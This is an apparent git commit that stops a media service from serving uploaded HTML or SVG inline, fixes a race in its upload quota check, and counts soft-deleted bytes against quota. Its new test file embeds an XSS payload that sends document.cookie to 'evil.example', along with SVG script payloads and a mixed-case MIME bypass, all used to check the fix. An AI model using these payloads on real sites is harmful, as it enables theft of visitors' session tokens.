openvibers/openvibe.media Commits

Developer-project tenants: no inline HTML/SVG from /f, race-free files quota, retained deletes count

OP OpenVibers committed 23 Sept 2026 · 20189e953e · 7 files, +187 −16

- /f/:key served the uploader's Content-Type inline without nosniff, so an app token (any third-party
  developer project) could upload HTML or SVG and run script on openvibe.media, where the ov_token
  access cookie is JS-readable. It now sends nosniff and serves only images (not SVG), video, audio,
  PDF and plain text inline (same rule as /o/:id); everything else is an attachment.
- The v1 files quota was checked before hashing (an await), so concurrent uploads all passed it.
  The check now runs after the last await, right before the row is written.
- Soft-deleted objects keep their bytes for the retention period but stopped counting at delete, so
  upload -> delete -> upload grew a project tenant's disk without bound. In developer-project
  tenants they now count until purged.

Changes

ddiff --git a/README.md b/README.md
iindex f678c7e..ba74b38 100644
---- a/README.md
++++ b/README.md
@@@ -114,6 +114,9 @@ gets a tenant keyed by its project id, **created on first use**. The URL always
- The quota counts v1 files and native v2 objects together (files uploads now use the same count
as objects for every tenant). v1 file keys in project tenants carry a tenant tag, so two tenants
never collide on identical uploads. Project tenants' files are not listed in the public gallery.
++ Soft-deleted objects keep counting against a project tenant's quota until their bytes are purged.
++- `/f/:key` (like `/o/:id`) sends `nosniff` and serves only images (not SVG), video, audio, PDF and
++ plain text inline; anything else an uploader labels (HTML, SVG, XML…) is an `attachment`.
- Not yet: reading quotas set in Network (`network.project.read`), and removing a project's
tenants when the project is archived.
ddiff --git a/docs/object-model.md b/docs/object-model.md
iindex 256caf6..2c515c4 100644
---- a/docs/object-model.md
++++ b/docs/object-model.md
@@@ -156,7 +156,7 @@ stop working at the next restart. **Set `MEDIA_SIGNING_SECRET` in production.**
**Quota.** `apps.quota_bytes` is compared against v1 file bytes plus native objects that are
`uploading` (their declared size counts as a reservation) or `ready`. Soft-deleted objects do not
--count. The v1 files route still counts only v1 files, so its response is unchanged.
++count, except in developer-project tenants, where they count until their bytes are purged. The v1 files route still counts only v1 files, so its response is unchanged.
**Purge.** Every hour, the service removes the bytes of native objects whose retention period has
passed and that have no active hold. The object row stays `deleted` with `metadata.purged_at`.
ddiff --git a/server/files/routes.js b/server/files/routes.js
iindex 00ab2e8..a9865fd 100644
---- a/server/files/routes.js
++++ b/server/files/routes.js
@@@ -84,20 +84,6 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'
try {
if (!req.file) return res.status(400).json({ error: 'No file uploaded (multipart field: file)' });
-- // Per-app quota check against quota_bytes (0 = unlimited): files + native objects.
-- const quota = Number(req.appRow.quota_bytes) || 0;
-- if (quota > 0) {
-- const used = require('../objects/model').usedBytes(req.appId);
-- if (used + req.file.size > quota) {
-- try { fs.unlinkSync(req.file.path); } catch { /* */ }
-- return res.status(413).json({
-- error: 'App file quota exceeded',
-- quota_bytes: quota,
-- used_bytes: used,
-- });
-- }
-- }
--
const digest = await sha256File(req.file.path);
const name = sanitizeName(req.file.originalname);
// Keys are global. A developer-project tenant's keys carry a tag of the tenant id, so two
@@@ -117,6 +103,22 @@ router.post('/', tenantAuth({ allowUser: true, capability: 'media.object.upload'
return res.status(200).json({ ...filePublic(existing), deduplicated: true });
}
++ // Per-app quota check against quota_bytes (0 = unlimited): files + native objects. Checked
++ // after the last await, so nothing else is stored between this check and the row below
++ // (concurrent uploads each saw the same usage when it ran before hashing).
++ const quota = Number(req.appRow.quota_bytes) || 0;
++ if (quota > 0) {
++ const used = require('../objects/model').usedBytes(req.appId);
++ if (used + req.file.size > quota) {
++ try { fs.unlinkSync(req.file.path); } catch { /* */ }
++ return res.status(413).json({
++ error: 'App file quota exceeded',
++ quota_bytes: quota,
++ used_bytes: used,
++ });
++ }
++ }
++
const dest = path.join(appDir(req.appId), key);
try {
fs.renameSync(req.file.path, dest);
ddiff --git a/server/objects/model.js b/server/objects/model.js
iindex ccd1c93..79b6929 100644
---- a/server/objects/model.js
++++ b/server/objects/model.js
@@@ -488,8 +488,13 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
/** Bytes counted against apps.quota_bytes: v1 files + live native objects (reservations included). */
function usedBytes(appId, excludeId = null) {
++ // Developer-project tenants (third-party uploaders) also pay for soft-deleted bytes until they are
++ // purged: those stay on disk for the retention period, and upload -> delete -> upload would
++ // otherwise grow the disk without bound.
++ const app = db.getApp(appId);
++ const retained = app && app.project_id ? " OR (lifecycle_status = 'deleted' AND json_extract(metadata, '$.purged_at') IS NULL)" : '';
const native = db.get(`SELECT COALESCE(SUM(size_bytes), 0) AS b FROM media_objects
-- WHERE app_id = ? AND legacy_ref IS NULL AND lifecycle_status IN ('uploading', 'ready') AND id != ?`,
++ WHERE app_id = ? AND legacy_ref IS NULL AND (lifecycle_status IN ('uploading', 'ready')${retained}) AND id != ?`,
[appId, excludeId || '']).b;
return db.appFilesBytes(appId) + native;
}
ddiff --git a/server/objects/routes.js b/server/objects/routes.js
iindex b63a893..cfc144e 100644
---- a/server/objects/routes.js
++++ b/server/objects/routes.js
@@@ -417,3 +417,4 @@ publicRouter.get('/:id', async (req, res) => {
module.exports = router;
module.exports.contentHandlers = [contentAuth, tenantCors, putContent];
module.exports.publicRouter = publicRouter;
++module.exports.INLINE = INLINE;
ddiff --git a/server/public/routes.js b/server/public/routes.js
iindex e975f2c..41d17fa 100644
---- a/server/public/routes.js
++++ b/server/public/routes.js
@@@ -400,8 +400,13 @@ router.get('/f/:key', (req, res) => {
const stat = fs.statSync(filePath);
const range = req.headers.range;
const contentType = row.mime || 'application/octet-stream';
++ const inline = /^[\w.+-]+\/[\w.+-]+$/.test(contentType) && require('../objects/routes').INLINE.test(contentType.toLowerCase());
++ // Uploaders (developer apps included) choose the Content-Type: only inert types render here,
++ // everything else (HTML, SVG, XML…) downloads, so it never runs on this origin.
const headers = {
'X-Robots-Tag': 'noindex',
++ 'X-Content-Type-Options': 'nosniff',
++ 'Content-Disposition': `${inline ? 'inline' : 'attachment'}; filename="${row.key}"`,
'Cache-Control': sandbox ? 'private, no-store' : 'public, max-age=86400',
};
if (range) {
ddiff --git a/test/app-tenant-abuse.test.js b/test/app-tenant-abuse.test.js
nnew file mode 100644
iindex 0000000..17a8f51
---- /dev/null
++++ b/test/app-tenant-abuse.test.js
@@@ -0,0 +1,155 @@
++'use strict';
++// Abuse cases for developer-project tenants (ADR-014), where the uploader is a third party:
++// 1. /f/:key must not render uploaded HTML/SVG inline on the openvibe.media origin (whose
++// JS-readable ov_token cookie is the visitor's Network access token): nosniff, and
++// `attachment` for anything that is not an image (not SVG), video, audio, PDF or plain text.
++// 2. Concurrent v1 file uploads must not all pass the quota check before any of them is stored.
++// 3. Upload -> delete -> upload must not grow a project tenant's disk without bound: soft-deleted
++// bytes are kept for the retention period, so they count until purged.
++const assert = require('assert');
++const fs = require('fs');
++const os = require('os');
++const path = require('path');
++const http = require('http');
++const crypto = require('crypto');
++
++const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tenantabuse-'));
++const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
++process.env.DB_PATH = path.join(tmp, 'media.db');
++process.env.VOD_PATH = dir('vods');
++process.env.FILES_PATH = dir('files');
++process.env.OBJECTS_PATH = dir('objects');
++process.env.THUMBNAILS_PATH = dir('thumbnails');
++process.env.OV_NETWORK_URL = 'https://openvibe.network';
++process.env.MEDIA_PUBLIC_URL = 'https://media.test';
++process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
++process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';
++process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';
++
++const db = require('../server/db/database');
++const auth = require('../server/auth');
++const objectRoutes = require('../server/objects/routes');
++const model = require('../server/objects/model');
++const { serviceAuth, ids } = require('openvibe-contracts');
++const express = require('express');
++
++const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
++auth._setNetworkPublicKeyForTests(keys.publicKey);
++
++const PA = `prj_${ids.ulid()}`;
++const PB = `prj_${ids.ulid()}`;
++const APP_A = `app_${ids.ulid()}`;
++const now = Math.floor(Date.now() / 1000);
++const appTok = ({ project = PA, env = 'production' } = {}) => serviceAuth.signServiceToken({
++ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: [project],
++ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
++}, keys.privateKey);
++
++const app = express();
++app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
++app.use(express.json());
++app.use('/api/v1/:app/files', require('../server/files/routes'));
++app.use('/api/v2/:app/objects', objectRoutes);
++app.use('/o', objectRoutes.publicRouter);
++app.use('/', require('../server/public/routes'));
++const server = http.createServer(app);
++
++(async () => {
++ await new Promise((r) => server.listen(0, '127.0.0.1', r));
++ const base = `http://127.0.0.1:${server.address().port}`;
++ const local = (u) => base + String(u).replace('https://media.test', '');
++ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {
++ const h = { ...headers };
++ if (bearer) h.authorization = `Bearer ${bearer}`;
++ let body;
++ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }
++ if (form) body = form;
++ if (raw !== undefined) body = raw;
++ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });
++ const text = await r.text();
++ let parsed = null;
++ try { parsed = JSON.parse(text); } catch { /* bytes */ }
++ return { status: r.status, body: parsed, text, headers: r.headers };
++ };
++ const upload = (project, bearer, content, name, type) => {
++ const fd = new FormData();
++ fd.append('file', new Blob([Buffer.from(content)], { type }), name);
++ return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });
++ };
++
++ // ── 1. Uploaded HTML / SVG never renders on the Media origin ──
++ const html = '<script>fetch("https://evil.example/?t="+document.cookie)</script>';
++ let r = await upload(PA, appTok(), html, 'evil.html', 'text/html');
++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
++ assert.strictEqual(r.status, 200);
++ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff', '/f/ sends nosniff');
++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `HTML is served as a download, got ${r.headers.get('content-disposition')}`);
++ r = await req('GET', `/f/${encodeURIComponent((await upload(PA, appTok(), html, 'evil.html', 'text/html')).body.key)}`, { headers: { range: 'bytes=0-10' } });
++ assert.strictEqual(r.status, 206);
++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'range responses too');
++ assert.strictEqual(r.headers.get('x-content-type-options'), 'nosniff');
++
++ r = await upload(PA, appTok(), '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>', 'x.svg', 'image/svg+xml');
++ assert.strictEqual(r.status, 201);
++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'SVG is served as a download');
++
++ // MIME types are case-insensitive: image/SVG+xml is still SVG. (FormData lowercases, so raw multipart.)
++ const boundary = 'ovboundary';
++ const multipart = Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file"; filename="y.svg"\r\nContent-Type: image/SVG+xml\r\n\r\n<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>\r\n--${boundary}--\r\n`);
++ r = await req('POST', `/api/v1/${PA}/files`, { bearer: appTok(), raw: multipart, headers: { 'content-type': `multipart/form-data; boundary=${boundary}` } });
++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), `mixed-case SVG is a download, got ${r.headers.get('content-type')} ${r.headers.get('content-disposition')}`);
++
++ // Sandbox signed URLs get the same treatment.
++ r = await upload(PA, appTok({ env: 'sandbox' }), html, 'evil.html', 'text/html');
++ assert.strictEqual(r.status, 201);
++ r = await req('GET', local(r.body.url));
++ assert.strictEqual(r.status, 200);
++ assert.ok(/^attachment/.test(r.headers.get('content-disposition') || ''), 'sandbox HTML is a download too');
++
++ // Pictures and plain text still display inline.
++ const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');
++ r = await upload(PA, appTok(), png, 'pic.png', 'image/png');
++ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
++ assert.strictEqual(r.headers.get('content-type'), 'image/png');
++ assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');
++
++ // ── 2. Concurrent v1 uploads cannot all slip under the quota ──
++ const sbQuota = 1024 * 1024;
++ db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);
++ const chunk = 400 * 1024;
++ const results = await Promise.all(Array.from({ length: 6 }, (_, i) => upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));
++ const stored = results.filter(x => x.status === 201).length;
++ assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);
++ assert.ok(model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');
++
++ // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──
++ const tok = appTok({ project: PB, env: 'sandbox' });
++ const size = 700 * 1024;
++ let refusedAt = null;
++ for (let i = 0; i < 4 && refusedAt == null; i++) {
++ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });
++ if (r.status === 413) { refusedAt = i; break; }
++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
++ const id = r.body.id;
++ r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });
++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
++ r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });
++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
++ r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });
++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
++ }
++ assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');
++ // Once purged, the space is free again.
++ db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);
++ model.purgeExpired({ retentionDays: 30 });
++ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });
++ assert.strictEqual(r.status, 201, 'purged bytes no longer count');
++
++ server.close();
++ fs.rmSync(tmp, { recursive: true, force: true });
++ console.log('developer-project tenant abuse: all checks passed');
++})().catch((err) => { console.error(err); process.exit(1); });